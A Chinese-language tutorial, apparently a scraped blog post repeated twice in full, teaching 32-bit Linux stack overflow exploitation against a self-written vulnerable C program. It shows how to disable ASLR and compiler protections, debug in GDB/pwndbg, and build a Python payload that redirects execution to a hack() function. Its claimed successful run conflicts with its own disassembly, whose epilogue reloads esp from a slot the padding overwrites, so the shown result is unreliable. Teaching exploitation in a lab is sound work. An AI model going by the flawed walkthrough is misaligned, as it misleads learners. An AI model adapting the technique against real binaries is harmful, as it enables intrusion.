30款热门AI模型一站整合DeepSeek/GLM/Qwen 随心用限时 5 折。 点击领海量免费额度这次我们来看一个Linux二进制安全领域的核心基础栈溢出漏洞。对于想入门二进制漏洞挖掘与利用Pwn的开发者或安全爱好者来说栈溢出是必须跨越的第一道门槛。它不仅是CTF比赛的常客更是理解现代漏洞缓解技术如ASLR、NX、Canary的基石。本文不会空谈理论而是直接带你从零开始在Linux环境下动手实践。我们将通过一个简单的C程序一步步分析栈的结构、函数调用过程并最终利用栈溢出漏洞劫持程序执行流执行我们预设的“后门”函数。整个过程将使用GDB配合pwndbg插件进行调试让你清晰地看到内存中的数据是如何被覆盖以及CPU的指令指针EIP是如何被我们控制的。如果你关心如何在真实的Linux环境中复现漏洞、如何用调试器定位关键内存地址、如何手工构造攻击载荷Payload那么这篇文章可以直接收藏。我们将重点关注环境搭建、调试技巧、漏洞原理和手工利用避开复杂的自动化工具直击本质。1. 核心能力速览在深入细节之前我们先快速了解栈溢出漏洞分析与利用的核心要点、所需环境和最终目标。能力项说明漏洞类型栈缓冲区溢出 (Stack Buffer Overflow)影响平台Linux (本文以32位程序为例原理通用于64位)核心知识C语言、x86汇编、GDB调试、内存布局必要工具GCC编译器、GDB调试器、pwndbg插件 (非必须但强烈推荐)实验环境任意Linux发行版 (Ubuntu, Kali, CentOS等)需关闭栈保护利用目标覆盖函数返回地址控制EIP寄存器执行任意代码前置技能基础的Linux命令行操作、简单的C语言编程安全提醒仅用于授权环境下的安全学习和研究严禁用于非法攻击。2. 适用场景与使用边界栈溢出漏洞的分析与利用技能主要适用于以下几个场景二进制安全入门学习这是学习漏洞利用的“Hello World”。通过它可以建立起对程序内存空间、函数调用机制、控制流劫持的直观理解。CTF (Capture The Flag) Pwn类题目大量CTF逆向与Pwn题的基础题型就是栈溢出掌握它是解题的前提。漏洞研究与挖掘理解栈溢出原理后可以进一步学习更复杂的漏洞类型如堆溢出、格式化字符串漏洞和现代缓解机制的绕过方法。安全开发意识提升作为开发者了解漏洞如何产生是编写安全代码、避免类似错误如使用不安全的strcpy,gets等函数的最佳方式。使用边界与安全警告法律与道德边界所有技术实践必须在你自己完全控制的实验环境如虚拟机中进行。严禁对任何未经授权的系统、网站或软件进行测试或攻击。技术边界本文演示的是最基础、无任何防护如Canary, NX, ASLR的栈溢出。现代操作系统和编译器默认开启了多重保护实际利用远比本文复杂。环境隔离务必在虚拟机或独立的物理机器中进行实验避免因操作失误影响宿主系统。3. 环境准备与前置条件为了顺利复现整个流程你需要准备好以下环境。我们将以Ubuntu系统为例其他发行版命令类似。3.1 系统与编译器操作系统任何Linux发行版均可。本文使用 Ubuntu 20.04/22.04。编译器GCC用于编译C程序。确保已安装build-essential。sudo apt update sudo apt install build-essential3.2 调试工具GDBGNU调试器核心分析工具。sudo apt install gdbpwndbg推荐一个强大的GDB插件提供更友好的内存查看、反汇编界面。安装命令# 克隆仓库 git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh安装后启动GDB会自动加载pwndbg。3.3 关闭系统保护仅用于实验为了简化初次学习我们需要关闭编译器的栈保护机制并生成32位程序32位程序栈结构更易于理解。关闭栈金丝雀 (Stack Canary)使用-fno-stack-protector编译选项。关闭地址空间布局随机化 (ASLR)在实验时临时关闭使每次运行程序的内存地址固定。# 临时关闭ASLR仅对当前终端会话有效 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # 恢复ASLR实验后执行 # echo 2 | sudo tee /proc/sys/kernel/randomize_va_space编译32位程序使用-m32选项。可能需要安装32位库sudo apt install gcc-multilib4. 漏洞程序代码与分析我们的目标是一个存在栈溢出漏洞的简单C程序。请在你实验环境的任意目录下创建文件vuln.c。#include stdio.h // 我们希望被“劫持”执行的函数 void hack() { printf(Hack Success!!!!\n); } int main() { printf(Hello, Please Start Hack!\n); char buf[20]; // 在栈上分配一个20字节的缓冲区 scanf(%s, buf); // 危险没有检查输入长度 return 0; }漏洞点分析char buf[20];在main函数的栈帧上分配了20字节的空间。scanf(“%s”, buf);使用%s格式符读取输入它不会检查输入的长度。如果用户输入超过20个字符包括结尾的\0多出的数据就会覆盖buf数组之后的内存区域这就是“溢出”。被覆盖的区域可能包括保存的寄存器值、上一个栈帧的基址EBP以及最关键的函数返回地址。5. 编译与初步测试使用以下命令编译程序关闭所有保护并生成32位可执行文件gcc vuln.c -m32 -fno-stack-protector -z execstack -o vuln-m32: 生成32位程序。-fno-stack-protector: 禁用栈保护Stack Canary。-z execstack: 允许栈内存执行代码禁用NX保护。本例中我们不需要在栈上执行代码但加上此选项也无妨。-o vuln: 输出可执行文件名为vuln。初步测试漏洞 运行程序并输入不同长度的字符串。$ ./vuln Hello, Please Start Hack! AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK # 输入40个字符 Segmentation fault (core dumped)当输入远超20字节时程序崩溃并提示“段错误”。这强烈暗示我们覆盖了某些关键内存如返回地址导致CPU试图执行一个非法地址的指令。6. GDB调试与栈帧结构分析要理解溢出如何发生以及如何精确控制必须深入程序的运行时内存布局。我们使用GDB配合pwndbg进行动态分析。6.1 启动调试与反汇编gdb ./vuln在GDB/pwndbg中# 反汇编main函数查看汇编代码 pwndbg disassemble main你会看到类似下面的汇编代码地址可能不同Dump of assembler code for function main: 0x565555a9 0: lea ecx,[esp0x4] 0x565555ad 4: and esp,0xfffffff0 0x565555b0 7: push DWORD PTR [ecx-0x4] 0x565555b3 10: push ebp 0x565555b4 11: mov ebp,esp 0x565555b6 13: push ebx 0x565555b7 14: push ecx 0x565555b8 15: sub esp,0x20 ... (调用printf和scanf) ... 0x565555e2 57: lea eax,[ebp-0x1c] 0x565555e5 60: push eax 0x565555e6 61: push 0x5655568c 0x565555eb 66: call 0x56555530 __isoc99_scanfplt 0x565555f0 71: add esp,0x10 0x565555f3 74: mov eax,0x0 0x565555f8 79: lea esp,[ebp-0x8] 0x565555fb 82: pop ecx 0x565555fc 83: pop ebx 0x565555fd 84: pop ebp 0x565555fe 85: lea esp,[ecx-0x4] 0x56555601 88: ret End of assembler dump.关键信息sub esp,0x20为局部变量和栈对齐开辟了0x2032字节的栈空间。lea eax,[ebp-0x1c]将buf的地址加载到eax。ebp-0x1c十进制28就是buf的起始地址。这意味着buf距离ebp有28字节。函数结尾的ret指令它将栈顶的值弹出到EIP寄存器从而决定接下来执行哪里的代码。6.2 关键内存布局分析在call scanf之前下断点并运行程序查看栈帧结构。pwndbg break *0x565555eb # 在call scanf处下断点 pwndbg run程序运行打印提示信息后停在scanf调用前。现在查看ebp附近的栈内存pwndbg x/20wx $ebp-0x30假设ebp的值为0xffffd0c8我们可能会看到类似下面的布局数值仅为示例内存地址 (示例)存储内容说明0xffffd09c...buf 结束区域0xffffd0a0...buf 开始地址ebp - 0x1c......其他局部变量/对齐空间0xffffd0b80xffffd0e8保存的ebx寄存器值0xffffd0bc0x565555d0保存的ecx寄存器值0xffffd0c00xffffd0e8保存的ebp(旧的帧指针)0xffffd0c40xf7e05e46返回地址 (Return Address)0xffffd0c8...当前ebp (栈帧底部)核心结论buf起始于ebp - 0x1c(28)。从buf的起始地址到ebp有28字节的空间。ebp本身占4字节保存的上一个帧指针。ebp 4的位置即0xffffd0c4存储着函数的返回地址。这是ret指令将要跳转的目标。因此从buf开始我们需要填充28字节填满buf到ebp的空间。4字节覆盖保存的ebp。4字节覆盖返回地址将其改为hack函数的地址。7. 漏洞利用手工计算与Payload构造我们的目标是让程序执行hack()函数。首先需要找到hack函数的地址。7.1 获取hack函数地址在GDB中pwndbg print hack $1 {void ()} 0x5655556d hack # 假设这是hack函数的地址记下这个地址0x5655556d。7.2 计算Payload长度与结构根据前面的分析buf到ebp的偏移28字节 (0x1c)。覆盖ebp本身4字节。覆盖返回地址4字节。所以总填充长度 28 4 4 36字节。Payload结构为[28字节填充] [4字节任意值新ebp] [4字节hack函数地址]7.3 构造并测试Payload我们可以使用Python或Perl快速生成Payload。在终端中# 使用Python3生成Payload并传递给程序 python3 -c “print(‘A’*28 ‘B’*4 ‘\x6d\x55\x55\x56’)” | ./vuln解释‘A’*28填充buf到ebp的28字节。‘B’*4覆盖旧的ebp值这里用‘BBBB’填充实际值不重要。‘\x6d\x55\x55\x56’hack函数的地址0x5655556d注意在x86小端序中字节需要反向书写低位在前。运行结果 如果一切顺利你将看到Hello, Please Start Hack! Hack Success!!!! Segmentation fault (core dumped)成功了程序打印了“Hack Success!!!!”然后因为栈被我们破坏ret之后的状态异常最终段错误退出。我们的首要目标——控制程序流执行hack函数——已经达成。8. 深入调试观察覆盖过程为了更透彻地理解我们在GDB中一步步跟踪。重新启动调试pwndbg run (python3 -c “print(‘A’*28 ‘B’*4 ‘\x6d\x55\x55\x56’))程序会停在之前设置的断点call scanf之前。单步执行并观察栈变化pwndbg ni # 单步步过执行scanf调用输入已经被读入。现在查看返回地址所在的内存pwndbg x/wx $ebp4 0xffffd0c4: 0x5655556d # 原本是libc的地址现在已被覆盖为hack函数地址同时查看ebp处的值pwndbg x/wx $ebp 0xffffd0c8: 0x42424242 # 0x42是‘B’的ASCII码ebp被覆盖为‘BBBB’执行到返回pwndbg continue # 或直接执行到main函数结束程序会执行到ret指令。此时栈顶ESP指向的位置正好是我们覆盖的0x5655556d。pwndbg si # 单步步入执行ret指令观察EIP寄存器的变化pwndbg i r eip eip 0x5655556d 0x5655556d hack # EIP已指向hack函数继续执行就会打印出“Hack Success!!!!”。9. 进阶挑战绕过额外的栈调整在最初的漏洞程序中我们成功利用了漏洞。但有时编译器生成的代码会在函数返回前进行一些栈调整增加利用难度。例如在提供的网络材料中main函数结尾出现了额外的指令lea esp, [ebp - 8] pop ecx pop ebx pop ebp lea esp, [ecx - 4] ret这段代码在ret前调整了esp。这意味着我们覆盖的返回地址可能不在预期的[ebp4]位置或者esp的最终值依赖于我们覆盖的数据。解题思路基于材料发现ecx的值来自[ebp-8]而[ebp-8]位于我们buf溢出覆盖的范围内。因此我们可以通过覆盖[ebp-8]处的内存来控制ecx。最终ret时esp被设置为[ecx-4]而[esp]处的值将被弹出到EIP。所以我们需要精心构造Payload让[ebp-8]指向一个我们可控的内存地址比如buf内部的某个位置并在该地址-4的位置放置hack函数的地址。这展示了现实世界中漏洞利用的复杂性需要根据具体的汇编代码动态调整Payload构造策略。这通常需要结合调试反复试验。10. 资源占用与性能观察栈溢出漏洞利用本身不涉及复杂的性能问题但调试过程对系统资源占用极低。CPU/内存占用GDB调试一个简单C程序CPU和内存占用可忽略不计。关键资源注意力和耐心。漏洞分析需要仔细阅读汇编代码观察内存变化每一步都可能影响最终结果。工具性能pwndbg插件会显著提升调试效率其色彩高亮和上下文信息展示能让你更快定位关键数据。11. 常见问题与排查方法问题现象可能原因排查方式解决方案编译错误fatal error: bits/libc-header-start.h缺少32位编译库检查是否安装gcc-multilibsudo apt install gcc-multilib运行程序无反应或立即退出ASLR未关闭地址每次变化检查ASLR状态cat /proc/sys/kernel/randomize_va_space临时关闭echo 0 | sudo tee /proc/sys/kernel/randomize_va_space段错误但未执行hack函数1.hack函数地址不对2. 偏移计算错误3. Payload格式小端序错误1. GDB中print hack确认地址2. 重新调试检查buf到ebp的偏移3. 检查Payload字符串的字节顺序1. 使用正确的函数地址2. 使用pwndbg的cyclic和cyclic_find工具计算精确偏移3. 确保地址以\xXX\xXX\xXX\xXX格式写入GDB中运行正常直接运行崩溃GDB环境与直接运行环境有细微差异如环境变量在GDB中使用run命令而非start直接运行或在GDB外使用cat payload | ./vuln确保在构造Payload时考虑所有环境因素或使用pwntools等库生成稳定Payloadret时跳转到奇怪地址栈未对齐或覆盖了其他关键数据单步调试到ret前检查esp指向的值是否为预期地址检查Payload长度和内容确保只覆盖了目标返回地址12. 最佳实践与学习建议从简到繁务必在完全关闭保护-fno-stack-protector -z execstack且关闭ASLR的环境下理解基本原理然后再逐一开启保护学习绕过方法。善用调试器GDB/pwndbg是你最好的朋友。熟练使用break,run,ni,si,x,info registers等命令。使用模式字符串手工计算偏移容易出错。可以使用pwntools的cyclic功能或pwndbg内置的cyclic/cyclic_find命令来快速定位偏移。理解小端序x86/x64架构使用小端序Little Endian在构造Payload时地址的字节顺序需要反转。实验环境隔离永远在虚拟机中进行实验。可以为不同的漏洞类型创建快照。结合理论动手实践的同时阅读《深入理解计算机系统》CSAPP等书籍中关于链接、加载、进程内存布局、调用约定的章节加深理解。迈向现代掌握基础栈溢出后立即开始学习Canary、NXDEP、ASLR、PIE等现代漏洞缓解技术及其绕过方法这才是与现实接轨的关键。栈溢出是二进制安全的“元技能”。通过这次从环境搭建、代码分析、调试跟踪到手工利用的完整流程你已经获得了最直接的实践经验。下一步可以尝试攻击带有简单保护的二进制程序或者转向学习堆溢出、格式化字符串等其它漏洞类型。记住核心永远是理解程序在内存中的状态以及如何操控它。保持好奇持续调试这个领域的大门才刚刚为你打开。 30款热门AI模型一站整合DeepSeek/GLM/Qwen 随心用限时 5 折。 点击领海量免费额度
30款热门AI模型一站整合DeepSeek/GLM/Qwen 随心用限时 5 折。 点击领海量免费额度这次我们来看一个Linux二进制安全领域的核心基础栈溢出漏洞。对于想入门二进制漏洞挖掘与利用Pwn的开发者或安全爱好者来说栈溢出是必须跨越的第一道门槛。它不仅是CTF比赛的常客更是理解现代漏洞缓解技术如ASLR、NX、Canary的基石。本文不会空谈理论而是直接带你从零开始在Linux环境下动手实践。我们将通过一个简单的C程序一步步分析栈的结构、函数调用过程并最终利用栈溢出漏洞劫持程序执行流执行我们预设的“后门”函数。整个过程将使用GDB配合pwndbg插件进行调试让你清晰地看到内存中的数据是如何被覆盖以及CPU的指令指针EIP是如何被我们控制的。如果你关心如何在真实的Linux环境中复现漏洞、如何用调试器定位关键内存地址、如何手工构造攻击载荷Payload那么这篇文章可以直接收藏。我们将重点关注环境搭建、调试技巧、漏洞原理和手工利用避开复杂的自动化工具直击本质。1. 核心能力速览在深入细节之前我们先快速了解栈溢出漏洞分析与利用的核心要点、所需环境和最终目标。能力项说明漏洞类型栈缓冲区溢出 (Stack Buffer Overflow)影响平台Linux (本文以32位程序为例原理通用于64位)核心知识C语言、x86汇编、GDB调试、内存布局必要工具GCC编译器、GDB调试器、pwndbg插件 (非必须但强烈推荐)实验环境任意Linux发行版 (Ubuntu, Kali, CentOS等)需关闭栈保护利用目标覆盖函数返回地址控制EIP寄存器执行任意代码前置技能基础的Linux命令行操作、简单的C语言编程安全提醒仅用于授权环境下的安全学习和研究严禁用于非法攻击。2. 适用场景与使用边界栈溢出漏洞的分析与利用技能主要适用于以下几个场景二进制安全入门学习这是学习漏洞利用的“Hello World”。通过它可以建立起对程序内存空间、函数调用机制、控制流劫持的直观理解。CTF (Capture The Flag) Pwn类题目大量CTF逆向与Pwn题的基础题型就是栈溢出掌握它是解题的前提。漏洞研究与挖掘理解栈溢出原理后可以进一步学习更复杂的漏洞类型如堆溢出、格式化字符串漏洞和现代缓解机制的绕过方法。安全开发意识提升作为开发者了解漏洞如何产生是编写安全代码、避免类似错误如使用不安全的strcpy,gets等函数的最佳方式。使用边界与安全警告法律与道德边界所有技术实践必须在你自己完全控制的实验环境如虚拟机中进行。严禁对任何未经授权的系统、网站或软件进行测试或攻击。技术边界本文演示的是最基础、无任何防护如Canary, NX, ASLR的栈溢出。现代操作系统和编译器默认开启了多重保护实际利用远比本文复杂。环境隔离务必在虚拟机或独立的物理机器中进行实验避免因操作失误影响宿主系统。3. 环境准备与前置条件为了顺利复现整个流程你需要准备好以下环境。我们将以Ubuntu系统为例其他发行版命令类似。3.1 系统与编译器操作系统任何Linux发行版均可。本文使用 Ubuntu 20.04/22.04。编译器GCC用于编译C程序。确保已安装build-essential。sudo apt update sudo apt install build-essential3.2 调试工具GDBGNU调试器核心分析工具。sudo apt install gdbpwndbg推荐一个强大的GDB插件提供更友好的内存查看、反汇编界面。安装命令# 克隆仓库 git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh安装后启动GDB会自动加载pwndbg。3.3 关闭系统保护仅用于实验为了简化初次学习我们需要关闭编译器的栈保护机制并生成32位程序32位程序栈结构更易于理解。关闭栈金丝雀 (Stack Canary)使用-fno-stack-protector编译选项。关闭地址空间布局随机化 (ASLR)在实验时临时关闭使每次运行程序的内存地址固定。# 临时关闭ASLR仅对当前终端会话有效 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # 恢复ASLR实验后执行 # echo 2 | sudo tee /proc/sys/kernel/randomize_va_space编译32位程序使用-m32选项。可能需要安装32位库sudo apt install gcc-multilib4. 漏洞程序代码与分析我们的目标是一个存在栈溢出漏洞的简单C程序。请在你实验环境的任意目录下创建文件vuln.c。#include stdio.h // 我们希望被“劫持”执行的函数 void hack() { printf(Hack Success!!!!\n); } int main() { printf(Hello, Please Start Hack!\n); char buf[20]; // 在栈上分配一个20字节的缓冲区 scanf(%s, buf); // 危险没有检查输入长度 return 0; }漏洞点分析char buf[20];在main函数的栈帧上分配了20字节的空间。scanf(“%s”, buf);使用%s格式符读取输入它不会检查输入的长度。如果用户输入超过20个字符包括结尾的\0多出的数据就会覆盖buf数组之后的内存区域这就是“溢出”。被覆盖的区域可能包括保存的寄存器值、上一个栈帧的基址EBP以及最关键的函数返回地址。5. 编译与初步测试使用以下命令编译程序关闭所有保护并生成32位可执行文件gcc vuln.c -m32 -fno-stack-protector -z execstack -o vuln-m32: 生成32位程序。-fno-stack-protector: 禁用栈保护Stack Canary。-z execstack: 允许栈内存执行代码禁用NX保护。本例中我们不需要在栈上执行代码但加上此选项也无妨。-o vuln: 输出可执行文件名为vuln。初步测试漏洞 运行程序并输入不同长度的字符串。$ ./vuln Hello, Please Start Hack! AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK # 输入40个字符 Segmentation fault (core dumped)当输入远超20字节时程序崩溃并提示“段错误”。这强烈暗示我们覆盖了某些关键内存如返回地址导致CPU试图执行一个非法地址的指令。6. GDB调试与栈帧结构分析要理解溢出如何发生以及如何精确控制必须深入程序的运行时内存布局。我们使用GDB配合pwndbg进行动态分析。6.1 启动调试与反汇编gdb ./vuln在GDB/pwndbg中# 反汇编main函数查看汇编代码 pwndbg disassemble main你会看到类似下面的汇编代码地址可能不同Dump of assembler code for function main: 0x565555a9 0: lea ecx,[esp0x4] 0x565555ad 4: and esp,0xfffffff0 0x565555b0 7: push DWORD PTR [ecx-0x4] 0x565555b3 10: push ebp 0x565555b4 11: mov ebp,esp 0x565555b6 13: push ebx 0x565555b7 14: push ecx 0x565555b8 15: sub esp,0x20 ... (调用printf和scanf) ... 0x565555e2 57: lea eax,[ebp-0x1c] 0x565555e5 60: push eax 0x565555e6 61: push 0x5655568c 0x565555eb 66: call 0x56555530 __isoc99_scanfplt 0x565555f0 71: add esp,0x10 0x565555f3 74: mov eax,0x0 0x565555f8 79: lea esp,[ebp-0x8] 0x565555fb 82: pop ecx 0x565555fc 83: pop ebx 0x565555fd 84: pop ebp 0x565555fe 85: lea esp,[ecx-0x4] 0x56555601 88: ret End of assembler dump.关键信息sub esp,0x20为局部变量和栈对齐开辟了0x2032字节的栈空间。lea eax,[ebp-0x1c]将buf的地址加载到eax。ebp-0x1c十进制28就是buf的起始地址。这意味着buf距离ebp有28字节。函数结尾的ret指令它将栈顶的值弹出到EIP寄存器从而决定接下来执行哪里的代码。6.2 关键内存布局分析在call scanf之前下断点并运行程序查看栈帧结构。pwndbg break *0x565555eb # 在call scanf处下断点 pwndbg run程序运行打印提示信息后停在scanf调用前。现在查看ebp附近的栈内存pwndbg x/20wx $ebp-0x30假设ebp的值为0xffffd0c8我们可能会看到类似下面的布局数值仅为示例内存地址 (示例)存储内容说明0xffffd09c...buf 结束区域0xffffd0a0...buf 开始地址ebp - 0x1c......其他局部变量/对齐空间0xffffd0b80xffffd0e8保存的ebx寄存器值0xffffd0bc0x565555d0保存的ecx寄存器值0xffffd0c00xffffd0e8保存的ebp(旧的帧指针)0xffffd0c40xf7e05e46返回地址 (Return Address)0xffffd0c8...当前ebp (栈帧底部)核心结论buf起始于ebp - 0x1c(28)。从buf的起始地址到ebp有28字节的空间。ebp本身占4字节保存的上一个帧指针。ebp 4的位置即0xffffd0c4存储着函数的返回地址。这是ret指令将要跳转的目标。因此从buf开始我们需要填充28字节填满buf到ebp的空间。4字节覆盖保存的ebp。4字节覆盖返回地址将其改为hack函数的地址。7. 漏洞利用手工计算与Payload构造我们的目标是让程序执行hack()函数。首先需要找到hack函数的地址。7.1 获取hack函数地址在GDB中pwndbg print hack $1 {void ()} 0x5655556d hack # 假设这是hack函数的地址记下这个地址0x5655556d。7.2 计算Payload长度与结构根据前面的分析buf到ebp的偏移28字节 (0x1c)。覆盖ebp本身4字节。覆盖返回地址4字节。所以总填充长度 28 4 4 36字节。Payload结构为[28字节填充] [4字节任意值新ebp] [4字节hack函数地址]7.3 构造并测试Payload我们可以使用Python或Perl快速生成Payload。在终端中# 使用Python3生成Payload并传递给程序 python3 -c “print(‘A’*28 ‘B’*4 ‘\x6d\x55\x55\x56’)” | ./vuln解释‘A’*28填充buf到ebp的28字节。‘B’*4覆盖旧的ebp值这里用‘BBBB’填充实际值不重要。‘\x6d\x55\x55\x56’hack函数的地址0x5655556d注意在x86小端序中字节需要反向书写低位在前。运行结果 如果一切顺利你将看到Hello, Please Start Hack! Hack Success!!!! Segmentation fault (core dumped)成功了程序打印了“Hack Success!!!!”然后因为栈被我们破坏ret之后的状态异常最终段错误退出。我们的首要目标——控制程序流执行hack函数——已经达成。8. 深入调试观察覆盖过程为了更透彻地理解我们在GDB中一步步跟踪。重新启动调试pwndbg run (python3 -c “print(‘A’*28 ‘B’*4 ‘\x6d\x55\x55\x56’))程序会停在之前设置的断点call scanf之前。单步执行并观察栈变化pwndbg ni # 单步步过执行scanf调用输入已经被读入。现在查看返回地址所在的内存pwndbg x/wx $ebp4 0xffffd0c4: 0x5655556d # 原本是libc的地址现在已被覆盖为hack函数地址同时查看ebp处的值pwndbg x/wx $ebp 0xffffd0c8: 0x42424242 # 0x42是‘B’的ASCII码ebp被覆盖为‘BBBB’执行到返回pwndbg continue # 或直接执行到main函数结束程序会执行到ret指令。此时栈顶ESP指向的位置正好是我们覆盖的0x5655556d。pwndbg si # 单步步入执行ret指令观察EIP寄存器的变化pwndbg i r eip eip 0x5655556d 0x5655556d hack # EIP已指向hack函数继续执行就会打印出“Hack Success!!!!”。9. 进阶挑战绕过额外的栈调整在最初的漏洞程序中我们成功利用了漏洞。但有时编译器生成的代码会在函数返回前进行一些栈调整增加利用难度。例如在提供的网络材料中main函数结尾出现了额外的指令lea esp, [ebp - 8] pop ecx pop ebx pop ebp lea esp, [ecx - 4] ret这段代码在ret前调整了esp。这意味着我们覆盖的返回地址可能不在预期的[ebp4]位置或者esp的最终值依赖于我们覆盖的数据。解题思路基于材料发现ecx的值来自[ebp-8]而[ebp-8]位于我们buf溢出覆盖的范围内。因此我们可以通过覆盖[ebp-8]处的内存来控制ecx。最终ret时esp被设置为[ecx-4]而[esp]处的值将被弹出到EIP。所以我们需要精心构造Payload让[ebp-8]指向一个我们可控的内存地址比如buf内部的某个位置并在该地址-4的位置放置hack函数的地址。这展示了现实世界中漏洞利用的复杂性需要根据具体的汇编代码动态调整Payload构造策略。这通常需要结合调试反复试验。10. 资源占用与性能观察栈溢出漏洞利用本身不涉及复杂的性能问题但调试过程对系统资源占用极低。CPU/内存占用GDB调试一个简单C程序CPU和内存占用可忽略不计。关键资源注意力和耐心。漏洞分析需要仔细阅读汇编代码观察内存变化每一步都可能影响最终结果。工具性能pwndbg插件会显著提升调试效率其色彩高亮和上下文信息展示能让你更快定位关键数据。11. 常见问题与排查方法问题现象可能原因排查方式解决方案编译错误fatal error: bits/libc-header-start.h缺少32位编译库检查是否安装gcc-multilibsudo apt install gcc-multilib运行程序无反应或立即退出ASLR未关闭地址每次变化检查ASLR状态cat /proc/sys/kernel/randomize_va_space临时关闭echo 0 | sudo tee /proc/sys/kernel/randomize_va_space段错误但未执行hack函数1.hack函数地址不对2. 偏移计算错误3. Payload格式小端序错误1. GDB中print hack确认地址2. 重新调试检查buf到ebp的偏移3. 检查Payload字符串的字节顺序1. 使用正确的函数地址2. 使用pwndbg的cyclic和cyclic_find工具计算精确偏移3. 确保地址以\xXX\xXX\xXX\xXX格式写入GDB中运行正常直接运行崩溃GDB环境与直接运行环境有细微差异如环境变量在GDB中使用run命令而非start直接运行或在GDB外使用cat payload | ./vuln确保在构造Payload时考虑所有环境因素或使用pwntools等库生成稳定Payloadret时跳转到奇怪地址栈未对齐或覆盖了其他关键数据单步调试到ret前检查esp指向的值是否为预期地址检查Payload长度和内容确保只覆盖了目标返回地址12. 最佳实践与学习建议从简到繁务必在完全关闭保护-fno-stack-protector -z execstack且关闭ASLR的环境下理解基本原理然后再逐一开启保护学习绕过方法。善用调试器GDB/pwndbg是你最好的朋友。熟练使用break,run,ni,si,x,info registers等命令。使用模式字符串手工计算偏移容易出错。可以使用pwntools的cyclic功能或pwndbg内置的cyclic/cyclic_find命令来快速定位偏移。理解小端序x86/x64架构使用小端序Little Endian在构造Payload时地址的字节顺序需要反转。实验环境隔离永远在虚拟机中进行实验。可以为不同的漏洞类型创建快照。结合理论动手实践的同时阅读《深入理解计算机系统》CSAPP等书籍中关于链接、加载、进程内存布局、调用约定的章节加深理解。迈向现代掌握基础栈溢出后立即开始学习Canary、NXDEP、ASLR、PIE等现代漏洞缓解技术及其绕过方法这才是与现实接轨的关键。栈溢出是二进制安全的“元技能”。通过这次从环境搭建、代码分析、调试跟踪到手工利用的完整流程你已经获得了最直接的实践经验。下一步可以尝试攻击带有简单保护的二进制程序或者转向学习堆溢出、格式化字符串等其它漏洞类型。记住核心永远是理解程序在内存中的状态以及如何操控它。保持好奇持续调试这个领域的大门才刚刚为你打开。 30款热门AI模型一站整合DeepSeek/GLM/Qwen 随心用限时 5 折。 点击领海量免费额度
![[C++]内存管理：串顺序存储的内存回收](http://pic.xiahunao.cn/yaotu/[C++]内存管理：串顺序存储的内存回收)
